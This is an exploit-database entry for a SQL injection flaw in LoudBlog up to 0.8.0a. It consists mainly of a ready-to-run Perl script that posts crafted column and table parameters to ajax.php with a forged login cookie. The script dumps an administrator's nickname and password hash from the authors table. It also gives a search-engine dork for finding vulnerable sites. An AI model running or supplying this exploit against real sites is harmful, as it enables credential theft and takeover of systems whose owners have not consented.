LoudBlog <= 0.8.0a (ajax.php) SQL Injection Vulnerability (auth)

ID SSV:65847
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

# This Exploit requires a valid user name and password of an account regardless of the permissions
# Author: Xianur0
# Affected: All Versions
# Bug: SQL Injection
# Doorks:
#  allintext: "powered by LoudBlog"

  use HTTP::Request::Common qw(POST);
  use LWP::UserAgent;
  use Digest::MD5 qw(md5_hex);
  $ua = LWP::UserAgent->new;

print "\n             LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

  my $req = POST $uri.'/loudblog/ajax.php',
                [ colpick => "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20080829 Firefox/');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
  print $res->content."\n"; 

# milw0rm.com [2008-10-22]